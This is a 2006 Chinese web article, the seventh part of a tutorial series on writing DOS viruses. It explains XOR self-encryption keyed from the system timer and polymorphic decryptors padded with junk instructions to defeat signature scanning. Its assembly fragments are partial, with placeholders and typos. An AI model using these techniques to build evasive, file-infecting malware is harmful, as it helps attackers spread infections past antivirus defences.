动网论坛,站长建站首选,国内使用量最多的论坛软件 动网论坛官方技术讨论区 站长工具 申请属于您自己的免费论坛
首页 | 新闻资讯 | 网站运营 | 网络编程 | 数据库 | 服务器 | 网页设计 | 图像媒体 | 网络应用 | 搜索优化 | 资源下载 | 动网主机 | DVBOX
    本站内  互联网 ASP论坛  ASP.Net论坛  PHP论坛
   网络应用 → 阅读文章
  

 如何编制DOS下的病毒(7)

作者来源: 
阅读 数 652 人次 , 2006-4-18 11:51:00 

如何编制DOS下的病毒
前面介绍了病毒的感染等方法,那么病毒是如何实现变形和加密的呢?病毒由无加密到简单加密发展到变形病毒.
早期的简单加密病毒工作范例如下:
@entry:
     call @1
@1:   pop bp
     lea di,[bp+@3-@1]
@2:   xor byte ptr cs:[di],0
@key  = $-1
     inc di
     loop @2
@3:   ...       ;病毒的主要代码

@4:           ;这里假设,es:di指向用于储存加密后代码的缓冲区
     mov cx,@end-@entry
     lea si,[bp+@entry-@1]
     push ds
     push cs
     pop ds
     in al,41h
     mov byte ptr [@key],al     ;可将由41h端口读入的timer作为key
     rep movsb
     lea si,[di+@3-entry]
     mov cx,@end-entry
@5:   xor byte ptr es:[si],al
     inc si
     loop @5
     ...
@end:
   用一个简单的xor操作,以timer值作为KEY对代码进行加密.由此病毒的主体可能有256种变化,用一个更长的KEY可以得到更多的变化.但是用于解密的代码却是不变的,这是简单加密病毒的弱点.
   看看以下这个稍作修改的例子:
@entry:
     call @1
@1:   mov ax,12h
     pop bp
     sub ax,cx
     lea di,[bp+@3-@1]
@2:   add ax,bx
     xor bype ptr cs:[di],0
@key  =$-1
     jnz $+2
     inc di
     mov ax,[12h]
     loop @2
@3:
     ...
   它和上面的例子功能是一样的,但看上去却是不同的代码.这就是变形病毒的关键:产生一些无用的代码夹在解密的代码中,使得每次的解密代码看上去是不一样的.
   选择垃圾代码的原则:1.不会破坏有用的REGISTER;2.不改变MEMORY的内容;
3.解密代码要用FLAGS时也不能改变FLAGS.上面的例子中只需遵循1,2.
   一个由普通病毒改为变形病毒的例子如下:
VirusEntry:
   ...
infect:
   .286c
   push offset VirusEntry
   push offset buffer
   call Encrypt  ;encrypt virus to buffer
   ...      ;merge buffer to executable file
Encrypt proc near
decrypt:db sizeof(call $+5),rawcode(call $+5)  ;定义如下,
     db sizeof(pop bp),rawcode(pop bp)    ;一条代码的长度
                         ;代码的机器码
     ...
     db 0
     ;repeat
     ;generate junk code and write buffer
     ;wirte one decrypt code to buffer
     ;untile all decrypt code has been written
     ;encrypt virus and wirte buffer
     ret
     endp
   一个变形引擎可以用于任何病毒源码,使它成为一个变形病毒.这就是变形引擎的工作原理. (完)

 本文Tags病毒  
 收藏本文  打印本文  论坛讨论  关闭窗口
· 上一篇:如何编制DOS下的病毒(6)
· 下一篇:无特征串的病毒
· 用SSL加密增强FTP服务器安全性
· Windows 2000如何安装配置防火墙
· VSAT通信及其组网方式
· Web服务大鳄Apache安装指南
· ERP产品面临第二次革命


关于本站 | 联系我们 | 业务合作 | 客户案例 | 诚聘英才 | 广告合作 | 收藏本站
海口动网先锋网络科技有限公司版权所有
Copyright © 2000 - 2006 Cndw.Com
中华人民共和国电信与信息服务业务经营许可证编号 琼 ICP 020077